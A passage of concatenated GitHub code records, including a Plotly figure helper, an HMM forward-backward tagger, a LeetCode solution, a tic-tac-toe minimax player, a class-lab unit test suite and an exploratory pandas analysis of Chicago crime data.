common figure 'skeleton' used as a base for all plots\r\n to set up a shared visual style.\r\n\r\n Returns:\r\n go.Figure: Plotly figure.\r\n \"\"\"\r\n fig = go.Figure()\r\n # Set standard width and height, and white background.\r\n fig.update_layout(\r\n height=height_standard, width=width_standard, plot_bgcolor=\"#ffffff\"\r\n )\r\n # Dict to set better axis properties.\r\n axis_dict = {\r\n # Move ticks outside the plot.\r\n \"ticks\": \"outside\",\r\n # Show plot borders with these four settings.\r\n \"showline\": True,\r\n \"linewidth\": 2,\r\n \"linecolor\": \"black\",\r\n \"mirror\": True,\r\n # Remove gridlines in the plot.\r\n \"showgrid\": False,\r\n }\r\n # Apply to both axes.\r\n fig.update_xaxes(axis_dict)\r\n fig.update_yaxes(axis_dict)\r\n return fig\r\n","repo_name":"Sesostrismage/vc","sub_path":"visuals/plotly_tools/figure.py","file_name":"figure.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"39789461087","text":"# Julia Kim jmkim2 (forwardbackward.py)\r\nimport sys, csv\r\nimport collections\r\nimport numpy as np\r\nimport math\r\n\r\nclass HMM(object):\r\n def __init__(self, output):\r\n self.output = str(output)\r\n \r\n # use log sum trick to prevent underflow\r\n def log_sum(self, v1, v2):\r\n if v1 == 0.0: return v2\r\n elif v1 > v2: return v1 + math.log(1 + math.exp(v2 - v1))\r\n else: return v2 + math.log(1 + math.exp(v1 - v2))\r\n\r\n # performs forward pass of HMM\r\n def forward(self, alpha, prior, emit, trans, words):\r\n for j in range(len(alpha[0])):\r\n alpha[0][j] = prior[j][0] + emit[j][words[0]]\r\n for t in range(1, len(alpha)):\r\n for j in range(len(alpha[0])):\r\n sum = 0.0\r\n for k in range(len(alpha[0])):\r\n sum = self.log_sum(sum, alpha[t-1][k] + trans[k][j])\r\n alpha[t][j] = emit[j][words[t]] + sum\r\n return alpha\r\n\r\n # performs backward pass of HMM\r\n def backward(self, beta, emit, trans, words):\r\n for j in range(len(beta[0])):\r\n beta[-1][j] = math.log(1)\r\n for t in range(len(beta)-2, -1, -1):\r\n for j in range(len(beta[0])):\r\n sum = 0.0\r\n for k in range(len(beta[0])):\r\n sum = self.log_sum(sum, emit[k][words[t+1]] + \r\n beta[t+1][k] + trans[j][k])\r\n beta[t][j] = sum\r\n\r\n # predicts label using backwards and forwards passes\r\n def predict(self, valid_words, valid_tags, prior, emit, trans, words, tags,\r\n index_to_tag, data):\r\n file = open(str(self.output), \"w\")\r\n correct = 0.0; total = 0.0; likelihood = 0.0\r\n for i in range(len(valid_words)):\r\n alpha = np.zeros(shape=(len(valid_words[i]), len(tags)))\r\n beta = np.zeros(shape=(len(valid_words[i]), len(tags)))\r\n # forward and backward passes\r\n self.forward(alpha, prior, emit, trans, valid_words[i])\r\n self.backward(beta, emit, trans, valid_words[i])\r\n # predicting\r\n output = \"\"\r\n for t in range(len(alpha)):\r\n prediction = None; max = None; sum = 0.0\r\n for j in range(len(alpha[0])):\r\n if max == None or alpha[t][j] + beta[t][j] >= max:\r\n max = alpha[t][j] + beta[t][j]\r\n prediction = tags[j]\r\n sum = self.log_sum(sum, alpha[-1][j]) # likelihood\r\n # calculating error\r\n if index_to_tag[prediction] == valid_tags[i][t]: correct += 1\r\n total += 1\r\n output += data[i][t] + \"_\" + str(prediction) + \" \"\r\n file.write(output[:-1] + \"\\n\") # no trailing space\r\n likelihood += sum\r\n file.close()\r\n # return average log-likelihood and accuracy\r\n return likelihood / len(data), correct / total\r\n \r\n# given a file path, returns data partitioned into words and tags\r\ndef read_data(path, words, tags):\r\n valid_words = []; valid_tags = []; data = []\r\n file = open(str(path), \"rt\")\r\n reader = file.readlines()\r\n file.close()\r\n for line in reader:\r\n word_lst = []; tag_lst = []; word_data = []\r\n line = line.replace(\"\\n\", \"\").split(\" \")\r\n for entry in line:\r\n word, tag = entry.split(\"_\")\r\n word_data.append(word)\r\n word_lst.append(words[word]); tag_lst.append(tags[tag])\r\n valid_words.append(word_lst); valid_tags.append(tag_lst)\r\n data.append(word_data)\r\n return valid_words, valid_tags, data\r\n\r\n# returns a dictionary mapping indices to elements\r\ndef get_dict(path):\r\n d = collections.defaultdict(int)\r\n file = open(str(path), \"rt\")\r\n reader = file.readlines()\r\n file.close()\r\n i = 0\r\n for line in reader:\r\n line = line.replace(\"\\n\", \"\")\r\n d[line] = i\r\n i += 1\r\n return d\r\n\r\n# reads in transition, emission, and prior prob matrices\r\ndef read_matrix(path):\r\n data = []\r\n with open(str(path)) as tsvfile:\r\n tsvreader = csv.reader(tsvfile, delimiter = \" \")\r\n for line in tsvreader:\r\n data.append(line)\r\n new_data = np.array(data, float)\r\n # log-space calculations\r\n return np.log(new_data)\r\n\r\ndef read_txt(path):\r\n data = []\r\n with open(str(path)) as tsvfile:\r\n tsvreader = csv.reader(tsvfile, delimiter = \" \")\r\n for line in tsvreader:\r\n data.append(line[0])\r\n return data\r\n\r\ndef main():\r\n # read files in\r\n index_to_word = get_dict(sys.argv[2]); index_to_tag = get_dict(sys.argv[3])\r\n wordlist = read_txt(sys.argv[2])\r\n taglist = read_txt(sys.argv[3])\r\n valid_word, valid_tag, data = read_data(sys.argv[1], index_to_word,\r\n index_to_tag)\r\n prior = read_matrix(sys.argv[4])\r\n emit = read_matrix(sys.argv[5])\r\n trans = read_matrix(sys.argv[6])\r\n # forward backward algorithm\r\n hmm = HMM(sys.argv[7])\r\n likelihood, err = hmm.predict(valid_word, valid_tag, prior, emit, trans, \r\n wordlist, taglist, index_to_tag, data)\r\n # metrics out\r\n metrics = open(str(sys.argv[8]), \"w\")\r\n metrics.write(\"Average Log-Likelihood: \" + str(likelihood) + \"\\n\")\r\n metrics.write(\"Accuracy: \" + str(err) + \"\\n\")\r\n metrics.close()\r\n print('done!')\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"julia722/MLAlgorithms","sub_path":"forwardbackward.py","file_name":"forwardbackward.py","file_ext":"py","file_size_in_byte":5490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25492070913","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Source: https://leetcode.com/problems/substring-with-concatenation-of-all-words/\n# Author: Miao Zhang\n# Date: 2021-01-07\n\nclass Solution:\n def findSubstring(self, s: str, words: List[str]) -> List[int]:\n from collections import Counter\n if len(words) == 0:\n return []\n \n words_dict = Counter(words)\n \n n, lenOfWord, numsOfWord = len(s), len(words[0]), len(words)\n res = []\n \n for left in range(n - lenOfWord * numsOfWord + 1):\n right = 0\n cur_dict = Counter()\n \n while right < numsOfWord:\n word = s[left + lenOfWord * right: left + lenOfWord * right + lenOfWord]\n if word not in words:\n break\n cur_dict[word] += 1\n if cur_dict[word] > words_dict[word]:\n break\n right += 1\n \n if right == numsOfWord:\n res.append(left)\n\n return res\n","repo_name":"MichelleZ/leetcode","sub_path":"algorithms/python/substringwithConcatenationofAllWords/substringwithConcatenationofAllWords.py","file_name":"substringwithConcatenationofAllWords.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"5306208608","text":"\"\"\"\nTic Tac Toe Player\n\"\"\"\nimport copy\nimport math\nimport random\n\nX = \"X\"\nO = \"O\"\nEMPTY = None\n\n\ndef initial_state():\n \"\"\"\n Returns starting state of the board.\n \"\"\"\n return [[EMPTY, EMPTY, EMPTY],\n [EMPTY, EMPTY, EMPTY],\n [EMPTY, EMPTY, EMPTY]]\n\n\ndef player(board):\n \"\"\"\n Returns player who has the next turn on a board.\n \"\"\"\n counter_o = 0\n counter_x= 0\n\n for row in board:\n for cell in row:\n if cell == 'X':\n counter_x += 1\n if cell == \"O\":\n counter_o += 1\n\n return X if counter_x == counter_o else O\n\n\ndef actions(board):\n\n \"\"\"\n Returns set of all possible actions (i, j) available on the board.\n \"\"\"\n action_set = set()\n\n for row in range(3):\n for coll in range(3):\n if board[row][coll] == EMPTY:\n action_set.add((row, coll))\n\n return action_set\n\n\ndef result(board, action):\n \"\"\"\n Returns the board that results from making move (i, j) on the board.\n \"\"\"\n\n i= action[0]\n j = action[1]\n\n if i not in range(3) or j not in range(3):\n raise ValueError('Invalid Co-ordinates',i,j)\n if board[i][j] != EMPTY:\n raise ValueError('Non-empty Co-ordinates',i,j)\n board_copy = copy.deepcopy(board)\n board_copy[i][j] = player(board)\n\n return board_copy\n\n\ndef winner(board):\n \"\"\"\n Returns the winner of the game, if there is one.\n \"\"\"\n for i in range(3):\n if board[i][0] == board[i][1] and board[i][1] == board[i][2] and board[i][2] != EMPTY:\n return board[i][0]\n if board[0][i] == board[1][i] and board[1][i] == board[2][i] and board[2][i] != EMPTY:\n return board[0][i]\n if board[0][0] == board[1][1] and board[1][1] == board[2][2] and board[2][2] != EMPTY:\n return board[0][0]\n if board[0][2] == board[1][1] and board[1][1] == board[2][0] and board[2][0] != EMPTY:\n return board[0][0]\n return None\n\n\ndef terminal(board):\n \"\"\"\n Returns True if game is over, False otherwise.\n \"\"\"\n if winner(board) or not len(actions(board)):\n return True\n return False\n\n\ndef utility(board):\n \"\"\"\n Returns 1 if X has won the game, -1 if O has won, 0 otherwise.\n \"\"\"\n if winner(board) == X:\n return 1\n if winner(board) == O:\n return -1\n if not winner(board):\n return 0\n\n\ndef minimax(board):\n \"\"\"\n Returns the optimal action for the current player on the board.\n X is Maximizer, O is Minimizer.\n \"\"\"\n\n action_set=actions(board)\n depth=len(action_set)\n if len(action_set)==9:\n return (0,0)\n if player(board)==X:\n return maxim(board,depth)[0]\n if player(board)==O:\n return minim(board,depth)[0]\n \ndef minim(board,depth):\n if depth<1:\n return (None,utility(board))\n action_set=actions(board)\n best_action=None\n best_score=1\n for action in action_set:\n score = maxim(board,depth-1)\n if score[1]best_score: \n best_score=score[1]\n best_action=action\n return (best_action,best_score)\n\n\n","repo_name":"BhargavMN/Tic-Tac-Toe","sub_path":"tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":3454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74084090970","text":"import sys\r\nimport unittest\r\nfrom Institute import *\r\n\r\n\r\nclass Lab07TestSuite(unittest.TestCase):\r\n\r\n def test_checkPythonVersion(self):\r\n\r\n currentVersion = sys.version_info\r\n\r\n self.assertGreaterEqual(currentVersion, (3, 4))\r\n\r\n def test_simulation_initializerAndAttributes(self):\r\n\r\n sim = Simulation(128, \"01/01/2016\", \"SomeChip\", 20, 3.14)\r\n\r\n with self.subTest(key=\"Number\"):\r\n self.assertEqual(128, sim.simulationNumber)\r\n\r\n with self.subTest(key=\"Date\"):\r\n self.assertEqual(\"01/01/2016\", sim.simulationDate)\r\n\r\n with self.subTest(key=\"ChipName\"):\r\n self.assertEqual(\"SomeChip\", sim.chipName)\r\n\r\n with self.subTest(key=\"ChipCount\"):\r\n self.assertEqual(20, sim.chipCount)\r\n\r\n with self.subTest(key=\"ChipCost\"):\r\n self.assertEqual(3.14, sim.chipCost)\r\n\r\n with self.subTest(key=\"TotalCost\"):\r\n self.assertAlmostEqual(62.8, sim.simulationCost, 2)\r\n\r\n def test_simulation_representation(self):\r\n\r\n sim = Simulation(55, \"02/29/2016\", \"i3-9988\", 3, 3.14)\r\n\r\n expectedValue = \"i3-9988: 055, 02/29/2016, $009.42\"\r\n actualValue = str(sim)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n def test_employee_initializerAndAttribute(self):\r\n\r\n e = Employee(\"Elizabeth Rogers\", \"987-63-1245\")\r\n\r\n with self.subTest(key=\"Name\"):\r\n self.assertEqual(\"Elizabeth Rogers\", e.employeeName)\r\n\r\n with self.subTest(key=\"ID\"):\r\n self.assertEqual(\"987-63-1245\", e.employeeID)\r\n\r\n def test_employee_representation(self):\r\n\r\n s1 = Simulation(128, \"01/01/2016\", \"SomeChip\", 20, 3.14)\r\n s2 = Simulation(497, \"05/07/2016\", \"AnotherChip\", 10, 2.71)\r\n s3 = Simulation(5, \"11/12/2016\", \"UniqueChip\", 45, 10.0)\r\n\r\n e = Employee(\"Margaret Cook\", \"124-63-1987\")\r\n\r\n for s in [s1, s2, s3]:\r\n e.addSimulation(s)\r\n\r\n expectedValue = \"124-63-1987, Margaret Cook: 03 Simulations\"\r\n actualValue = str(e)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n def test_employee_addSimulation(self):\r\n\r\n s1 = Simulation(128, \"01/01/2016\", \"SomeChip\", 20, 3.14)\r\n s2 = Simulation(497, \"05/07/2016\", \"AnotherChip\", 10, 2.71)\r\n s3 = Simulation(497, \"07/09/2016\", \"UniqueChip\", 30, 10.0)\r\n\r\n e = Employee(\"Margaret Cook\", \"124-63-1987\")\r\n\r\n with self.subTest(key=\"Add\"):\r\n\r\n e.addSimulation(s1)\r\n self.assertEqual(s1, e.simulationsDict[128])\r\n\r\n with self.subTest(key=\"Update\"):\r\n\r\n e.addSimulation(s2)\r\n e.addSimulation(s3)\r\n\r\n self.assertNotEqual(s2, e.simulationsDict[497])\r\n\r\n def test_employee_getSimulation(self):\r\n\r\n s1 = Simulation(128, \"01/01/2016\", \"SomeChip\", 20, 3.14)\r\n s2 = Simulation(497, \"05/07/2016\", \"AnotherChip\", 10, 2.71)\r\n s3 = Simulation(5, \"11/12/2016\", \"UniqueChip\", 45, 10.0)\r\n\r\n e = Employee(\"Elizabeth Rogers\", \"987-63-1245\")\r\n\r\n for s in [s1, s2, s3]:\r\n e.addSimulation(s)\r\n\r\n with self.subTest(key=\"Present\"):\r\n self.assertEqual(s3, e.getSimulation(5))\r\n\r\n with self.subTest(key=\"Absent\"):\r\n self.assertIsNone(e.getSimulation(125))\r\n\r\n def test_employee_getWorkload(self):\r\n\r\n s1 = Simulation(128, \"01/01/2016\", \"SomeChip\", 20, 3.14)\r\n s2 = Simulation(497, \"05/07/2016\", \"AnotherChip\", 10, 2.71)\r\n s3 = Simulation(5, \"11/12/2016\", \"UniqueChip\", 45, 10.0)\r\n\r\n e = Employee(\"Elizabeth Rogers\", \"987-63-1245\")\r\n\r\n for s in [s1, s2, s3]:\r\n e.addSimulation(s)\r\n\r\n expectedValue = \"987-63-1245, Elizabeth Rogers: 03 Simulations\\n\"\r\n expectedValue += \"AnotherChip: 497, 05/07/2016, $027.10\\n\"\r\n expectedValue += \"SomeChip: 128, 01/01/2016, $062.80\\n\"\r\n expectedValue += \"UniqueChip: 005, 11/12/2016, $450.00\"\r\n actualValue = e.getWorkload()\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n def test_employee_addWorkload(self):\r\n\r\n s1 = Simulation(23, \"04/28/2015\", \"i7-3456\", 30, 3.28)\r\n s2 = Simulation(495, \"06/10/2015\", \"i7-4152\", 160, 1.94)\r\n s3 = Simulation(1, \"03/16/2015\", \"i7-7532\", 5, 3.07)\r\n\r\n e = Employee(\"Mitch Daniels\", \"351-46-4136\")\r\n e.addWorkload(\"workload1.txt\")\r\n\r\n with self.subTest(key=\"Chip 1\"):\r\n self.assertEqual(str(s1), str(e.simulationsDict[23]))\r\n\r\n with self.subTest(key=\"Chip 2\"):\r\n self.assertEqual(s2.simulationDate, \"06/10/2015\")\r\n\r\n with self.subTest(key=\"Chip 3\"):\r\n self.assertEqual(s3.simulationNumber, 1)\r\n\r\n with self.subTest(key=\"All\"):\r\n expectedValue = \"351-46-4136, Mitch Daniels: 04 Simulations\\n\"\r\n expectedValue += \"i7-3456: 023, 04/28/2015, $098.40\\n\"\r\n expectedValue += \"i7-4152: 495, 06/10/2015, $310.40\\n\"\r\n expectedValue += \"i7-7532: 001, 03/16/2015, $015.35\\n\"\r\n expectedValue += \"i7-9546: 017, 07/19/2015, $112.80\"\r\n actualValue = e.getWorkload()\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n def test_facility_initializerAndAttribute(self):\r\n\r\n f = Facility(\"IBM\")\r\n\r\n with self.subTest(key=\"Name\"):\r\n self.assertEqual(\"IBM\", f.facilityName)\r\n\r\n with self.subTest(key=\"Map\"):\r\n self.assertDictEqual({}, f.employeesDict)\r\n\r\n def test_facility_representation(self):\r\n\r\n f = Facility(\"Intel\")\r\n e1 = Employee(\"Alejandro Carrero\", \"520-11-9977\")\r\n e2 = Employee(\"Tracey Driscoll\", \"741-85-9632\")\r\n\r\n e1.addWorkload(\"workload1.txt\")\r\n e2.addWorkload(\"workload2.txt\")\r\n f.addEmployee(e1)\r\n f.addEmployee(e2)\r\n\r\n expectedValue = \"Intel: 02 Employees\\n\"\r\n expectedValue += \"520-11-9977, Alejandro Carrero: 04 Simulations\\n\"\r\n expectedValue += \"741-85-9632, Tracey Driscoll: 04 Simulations\"\r\n actualValue = str(f)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n def test_facility_addEmployee(self):\r\n\r\n f = Facility(\"TI\")\r\n e1 = Employee(\"Diego Jesus\", \"520-11-9977\")\r\n e2 = Employee(\"John George\", \"741-85-9632\")\r\n e3 = Employee(\"John George\", \"999-88-7777\")\r\n\r\n with self.subTest(key=\"Add\"):\r\n\r\n f.addEmployee(e1)\r\n self.assertEqual(e1, f.employeesDict[\"Diego Jesus\"])\r\n\r\n with self.subTest(key=\"Update\"):\r\n\r\n f.addEmployee(e2)\r\n f.addEmployee(e3)\r\n\r\n self.assertNotEqual(e2, f.employeesDict[\"John George\"])\r\n\r\n def test_facility_getEmployees(self):\r\n\r\n f = Facility(\"TI\")\r\n e1 = Employee(\"Diego Jesus\", \"520-11-9977\")\r\n e2 = Employee(\"John George\", \"741-85-9632\")\r\n e3 = Employee(\"George Michael\", \"456-58-2369\")\r\n\r\n for e in [e1, e2, e3]:\r\n f.addEmployee(e)\r\n\r\n with self.subTest(key=\"Get1\"):\r\n self.assertListEqual([e1], f.getEmployees(\"Diego Jesus\"))\r\n\r\n with self.subTest(key=\"Get2\"):\r\n self.assertListEqual([e2, e3], f.getEmployees(\"John George\", \"George Michael\"))\r\n\r\n def test_facility_getSimulation(self):\r\n\r\n f = Facility(\"Intel\")\r\n e1 = Employee(\"Alejandro Carrero\", \"520-11-9977\")\r\n e2 = Employee(\"Tracey Driscoll\", \"741-85-9632\")\r\n\r\n e1.addWorkload(\"workload1.txt\")\r\n e2.addWorkload(\"workload2.txt\")\r\n f.addEmployee(e1)\r\n f.addEmployee(e2)\r\n\r\n with self.subTest(key=\"Get1\"):\r\n s = Simulation(17, \"07/19/2015\", \"i7-9546\", 94, 1.20)\r\n fs = f.getSimulation(17)\r\n expectedValue = {s.simulationNumber, s.simulationDate, s.simulationCost}\r\n actualValue = {fs.simulationNumber, fs.simulationDate, fs.simulationCost}\r\n\r\n self.assertSetEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\"Get2\"):\r\n s = Simulation(22, \"02/15/2015\", \"i7-3456\", 112, 1.2)\r\n fs = f.getSimulation(22)\r\n expectedValue = {s.simulationNumber, s.simulationDate, s.simulationCost}\r\n actualValue = {fs.simulationNumber, fs.simulationDate, fs.simulationCost}\r\n\r\n self.assertSetEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\"Get3\"):\r\n s = Simulation(71, \"03/02/2015\", \"i7-9546\", 28, 3.62)\r\n fs = f.getSimulation(71)\r\n expectedValue = {s.simulationNumber, s.simulationDate, s.simulationCost}\r\n actualValue = {fs.simulationNumber, fs.simulationDate, fs.simulationCost}\r\n\r\n self.assertSetEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\"Get2\"):\r\n fs = f.getSimulation(999)\r\n\r\n self.assertIsNone(fs)\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","repo_name":"xue59/ECE364-Lab-Hw-Project","sub_path":"Lab07/lab07_tests.py","file_name":"lab07_tests.py","file_ext":"py","file_size_in_byte":8826,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"41751140994","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nfrom IPython.core.interactiveshell import InteractiveShell\nInteractiveShell.ast_node_interactivity = \"all\"\n\n\n# ## Data Input\n\n# All the necessary packages are loaded, data is input into the system and the first 10 rows are visualized. This is followed by checking the shape and datatypes of data present in each column. All these steps are done to familiarize the data in hand. \n\n# In[2]:\n\n\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n\n# In[3]:\n\n\n#input data and check the first 10 rows\n\ncrimedf = pd.read_csv(\"Chicagocrimes.csv\")\ncrimedf.head(10)\n\n\n# In[5]:\n\n\ncrimedf.info()\n\n\n# ## Data Cleaning and Pre-processing\n\n# Data is checked for the presence of NA values. Treating the missing values is an essential step in all Data analysis process so as to avoid any further complications. It was found that the columns Case Number, Block, Ward, Community Area, FBI Code, Updated on, Latitude, Longtitude and Location were redundant and not necessary for the analysis. Thus, these are removed initially. In the rest of the dataset, the columns 'Location Description', 'X Coordinate' and 'Y Coordinate' had missing values which constituted less tthan 10% of the total data. Hence, it was decided to remove these rows too.\n\n# In[6]:\n\n\n#count of nas in each column\n\ncrimedf.isnull().sum(axis = 0)\n\n\n# In[7]:\n\n\n#drop unnecessary columns and drop nas\n\ncrimedf.drop(labels = ['Case Number',\n 'Block',\n 'Ward',\n 'Community Area',\n 'FBI Code',\n 'Updated On', \n 'Latitude', \n 'Longitude', \n 'Location'], inplace = True, axis = 1)\ncrimedf.dropna(inplace = True)\n\n\n# Following this, the Date value given in the dataset was converted into the pandas recognizable DateTime format for the purpose of analysis and the values of Month, Date, Time, Hour and Day of Week are extracted from it.\n\n# In[8]:\n\n\n#covert datetime into pandas datetime format\n\ncrimedf.Date = pd.to_datetime(crimedf.Date, format = '%m/%d/%Y %I:%M:%S %p')\ncrimedf.index = pd.DatetimeIndex(crimedf.Date)\n\n\n# In[9]:\n\n\ncrimedf['Month'] = crimedf.Date.dt.month\ncrimedf['date'] = crimedf.Date.dt.date\ncrimedf['DayofWeek'] = crimedf.Date.dt.weekday_name\ncrimedf['Time'] = crimedf.Date.dt.time\ncrimedf['Hour'] = crimedf.Date.dt.hour\ncrimedf.head()\n\n\n# ## Exploratory Data Analysis\n# \n# ### Insights on Crimes and Date/Times\n\n# To get insights on crimes and the times at which it is happening, crimes are categorized by the primary type and sorted according to the values of occurences. A bar plot is used to visualize the variation.\n\n# In[17]:\n\n\nplt.figure(figsize=(8,10))\ncrimedf.groupby([crimedf['Primary Type']]).size().sort_values(ascending=True).plot(kind='barh')\nplt.title('Most occuring crimes by Primary Type')\nplt.ylabel('Crime Type')\nplt.xlabel('Count')\nplt.show();\n\n\n# The plot above shows Type of crimes versus their counts. Thefts are the most common crime in Chicago followed by Battery, criminal damage, narcotics and assault. \n# \n# Monthly variations of crimes are also checked to identify which months contribute to more crime.\n\n# In[16]:\n\n\ncrimedf.groupby('Month').size().plot(kind = 'barh')\nplt.ylabel('Month')\nplt.xlabel('Count')\nplt.title('Number of crimes per month')\nplt.show();\n\n\n# It can be observed that Summer months (mainly months of july and august) had more number of crimes and the numbers are relatively lesser during the months of december, january and february (winter months). This can be attributed to the very well known harsh Chicago Winters.\n\n# The next visualized trend is the variation of crimes according to the day of the week. \n\n# In[15]:\n\n\ncrimedf.groupby('DayofWeek').size().plot(kind = 'barh')\nplt.ylabel('Day of the week')\nplt.xlabel('Count')\nplt.title('Number of crimes by day of the week')\nplt.show;\n\n\n# It is observed that there is not much change in number of crimes with days of week. The values are almost the same with slightly high values for Friday (but no significant difference between other days).\n# \n# Finally, number of crimes versus hour of day is compared. This is also visualized using bar plots. \n\n# In[14]:\n\n\ncrimedf.groupby('Hour').size().plot(kind = 'bar')\nplt.ylabel('Hour of the day')\nplt.xlabel('Count')\nplt.title('Number of crimes by hour of the day')\nplt.show;\n\n\n# It can be clearly observed from the graph that hours of the noght contribute to more crime (mainly starting from the 18th hour to the 0th hour). The only exception that is seen is the peak during the 12th hour of the day. \n# \n# To get more clarity, the top 5 crimes for each hour of the day is found out and visualized as shown below. \n\n# In[18]:\n\n\nt5hour = crimedf.groupby(['Hour', 'Primary Type']).size().reset_index(name='Counts').groupby('Hour').apply(lambda x: x.sort_values('Counts', ascending = False).head(5))\ng =sns.catplot(\"Primary Type\", y='Counts', col='Hour', col_wrap=4, data=t5hour, kind='bar')\nfor ax in g.axes:\n plt.setp(ax.get_xticklabels(), visible=True, rotation=30, ha='right')\n\nplt.subplots_adjust(hspace=0.4);\n\n\n# The above plot throws light on types of crime occuring at each hour of the day. We can observe that 'THEFT' peaks almost at every hour of the day. But if we take the case of the night hours especially from 20th hour to 3rd hour, we can observe peak in 'BATTERY' (exception being 0th hour). Also, 'THEFT' is found to be very high during the 12th hour of the day also.\n\n# ### Insights on Crime versus Year\n\n# To understand how number of crimes varies across the years, a line chart is plotted. \n\n# In[19]:\n\n\nplt.figure(figsize=(15,5))\ncrimedf.resample('M').size().plot(legend=False)\nplt.title('Number of crimes per month')\nplt.xlabel('Months')\nplt.ylabel('Count')\nplt.show();\n\n\n# It can be clearly seen that over the period of years, the number of crimes has decreased consderably. The decreased number of crimes in the latter years of 2017 - 2019 can also be due to the reduced number of datapoints too. But the general trend is decreasing. Also, number of crimes tend to peak during the middle of the year (mostly the summer months) and go down towards the end of each year.\n# \n# A heatmap is also used to understand these variations more clearly\n\n# In[20]:\n\n\ncrime_monthyr = pd.DataFrame(crimedf.groupby(['Month', 'Year']).size().sort_values(ascending = False).reset_index(name = 'Count'))\nmonthyearplot = crime_monthyr.pivot_table(values='Count',index='Month',columns='Year')\n\nplt.figure(figsize = (8,5))\nsns.heatmap(monthyearplot, cmap = 'YlGnBu');\n\n\n# The heatmap shows highest values of crime for the month of August in the year 2002. The months between April to October for the years from 2001 - 2008 shows very high numbers of Crimes than the rest of the months and years, the least during the early months of January and February for the years 2017 - 2020.\n# \n# Variations across types of crimes for the given years is visualized as given below:\n\n# In[85]:\n\n\ncrimes_count_date = crimedf.pivot_table('ID', aggfunc=np.size, \n columns='Primary Type', \n index=crimedf.index.date, \n fill_value=0)\n\ncrimes_count_date.index = pd.DatetimeIndex(crimes_count_date.index)\npl = crimes_count_date.rolling(365).sum().plot(figsize=(20, 30), \n subplots=True, \n layout=(-1, 3), \n sharex=False, \n sharey=False)\n\n\n# ### Insights on Arrests v/s no arrests\n\n# In[21]:\n\n\ncrimetype = crimedf.groupby(['Primary Type', 'Arrest'])['Arrest'].size()\ncrimetype.unstack().plot(kind = 'bar',stacked = True,logy = True, figsize = (18,5))\nplt.title('Arrest v/s No Arrest for types of Crime');\n\n\n# The plot of arrest versus no arrests for different types of crimes indicates that very small number of crimes result in arrests. The Y-axis of the plot is the log(count) to get a more clear picture of how many crimes are converted into arrests. It can be observed that crimes like Burglary, criminal sexual assault, motor vehicle theft, robbery and stalking, hardly any arrests are made while concealed carry licensed violation, gambling, narcotics, prostitutionand public indecency results in a lot of arrests. \n# \n# The trend of arrests across the years is also checked. \n\n# In[22]:\n\n\ncrimetype = crimedf.pivot_table('ID', columns = 'Year', index = 'Arrest', aggfunc = np.size)\ncrimetypeplot = crimetype.T.plot(kind = 'bar', figsize = (20,5))\nylab = crimetypeplot.set_ylabel('Count')\nplt.title('Arrest v/s No Arrest for Years');\n\n\n# Across years, the number of arrests and no arrests decreases in the similar way. \n\n# ### Insights on Crime and Locations\n\n# The next compared attributes are Types of Crimes and the location where they are committed. Firstly, a count of Crimes happening at different locations is taken. \n\n# In[23]:\n\n\nplt.figure(figsize=(8,10))\ncrimedf.groupby([crimedf['Location Description']]).size().sort_values(ascending=True).tail(25).plot(kind='barh')\nplt.title('Number of crimes by Location')\nplt.ylabel('Crime Location')\nplt.xlabel('Number of crimes')\nplt.show();\n\n\n# It can be observed that majority of crimes take place in streets followed by residence, apartments and sidewalks. \n# \n# The X coordinates and Y coordinates available in the data is utilized to roughly plot the map of Chicago according to each districts as shown below.\n\n# In[24]:\n\n\ncrimedata = crimedf.loc[(crimedf['X Coordinate']!=0)]\nsns.lmplot('X Coordinate', \n 'Y Coordinate',\n data=crimedata,\n fit_reg=False, \n hue=\"District\",\n palette='colorblind',\n height=5,\n scatter_kws={\"marker\": \"D\", \n \"s\": 10})\nax = plt.gca()\nplt.figure(figsize = (10,25))\nax.set_title(\"A Rough map of Chicago\\n\", fontdict={'fontsize': 15}, weight=\"bold\")\nplt.show();\n\n\n# Now, for each district in Chicago, we check the variations of top 3 crime types using bar plots. \n\n# In[25]:\n\n\ndistr = crimedf.groupby(['District', 'Primary Type']).size().reset_index(name='Counts').groupby('District').apply(lambda x: x.sort_values('Counts', ascending = False).head(3))\ndistr_g =sns.catplot(\"Primary Type\", y='Counts', col='District', col_wrap=4, data=distr, kind='bar')\nfor ax in distr_g.axes:\n plt.setp(ax.get_xticklabels(), visible=True, rotation=30, ha='right')\n\nplt.subplots_adjust(hspace=0.4);\n\n\n# It was seen from the numbers that District 8 has the maximum number of crimes. From the multiple types of crimes, 6 types of crimes are chosen and visualized in the map with district wise demarcation. The chosen types are Theft (accounts for the most count), Battery (second highest), Narcotics (crimes with huge number of arrests), and randomnly chosen crimes like Homicide, Weapons Violation, Criminal Damage.\n\n# In[26]:\n\n\ncol2 = ['Date','Primary Type','Arrest','Domestic','District','X Coordinate','Y Coordinate']\nmultiple_crimes = crimedf[col2]\nmultiple_crimes = multiple_crimes[multiple_crimes['Primary Type'] .isin(['THEFT','HOMICIDE','BATTERY','NARCOTICS','WEAPONS VIOLATION','CRIMINAL DAMAGE'])]\n\nmultiple_crimes = multiple_crimes[multiple_crimes['X Coordinate']!=0]\ng= sns.lmplot(x=\"X Coordinate\", \n y=\"Y 